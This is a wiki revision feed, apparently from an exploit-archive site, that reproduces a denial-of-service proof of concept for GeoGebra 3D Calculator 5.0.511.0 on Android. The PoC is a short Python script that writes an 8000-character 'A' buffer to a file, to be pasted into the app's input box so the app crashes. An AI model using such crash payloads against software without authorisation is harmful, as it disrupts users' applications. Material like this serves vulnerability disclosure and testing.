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	<title>GeoGebra 3D Calculator 5.0.511.0 拒絕服務漏洞 - Revision history</title>
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	<updated>2026-04-20T23:45:25Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
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	<entry>
		<id>https://pwnwiki.com/index.php?title=GeoGebra_3D_Calculator_5.0.511.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1272&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; # Exploit Title: GeoGebra 3D Calculator 5.0.511.0 - Denial of Service (PoC) # Date: 2021-03-15 # Author: Brian Rodríguez # Software Site: https://www.geogebra.o...&quot;</title>
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		<updated>2021-04-08T09:47:11Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; # Exploit Title: GeoGebra 3D Calculator 5.0.511.0 - Denial of Service (PoC) # Date: 2021-03-15 # Author: Brian Rodríguez # Software Site: https://www.geogebra.o...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: GeoGebra 3D Calculator 5.0.511.0 - Denial of Service (PoC)&lt;br /&gt;
# Date: 2021-03-15&lt;br /&gt;
# Author: Brian Rodríguez&lt;br /&gt;
# Software Site: https://www.geogebra.org/download&lt;br /&gt;
# Download Link: https://play.google.com/store/apps/details?id=org.geogebra.android.g3d&amp;amp;utm_source=Download+page&amp;amp;utm_medium=Website&amp;amp;utm_campaign=3D+Calculator+for+Android&lt;br /&gt;
# Version: 5.0.511.0&lt;br /&gt;
# Category: DoS (Android)&lt;br /&gt;
&lt;br /&gt;
##### Vulnerability #####&lt;br /&gt;
&lt;br /&gt;
Graficador GeoGebra 3D is vulnerable to a DoS condition when a long list of characters is being used in field &amp;quot;Entrada...&amp;quot; text box.&lt;br /&gt;
&lt;br /&gt;
Successful exploitation will causes application stop working.&lt;br /&gt;
&lt;br /&gt;
I have been able to test this exploit against Android 10.0.&lt;br /&gt;
&lt;br /&gt;
##### PoC #####&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
buffer = &amp;quot;\x41&amp;quot; * 8000&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    f = open(&amp;quot;payload.txt&amp;quot;,&amp;quot;w&amp;quot;)&lt;br /&gt;
    f.write(buffer)&lt;br /&gt;
    f.close()&lt;br /&gt;
    print (&amp;quot;File created&amp;quot;)&lt;br /&gt;
except:&lt;br /&gt;
    print (&amp;quot;File cannot be created&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
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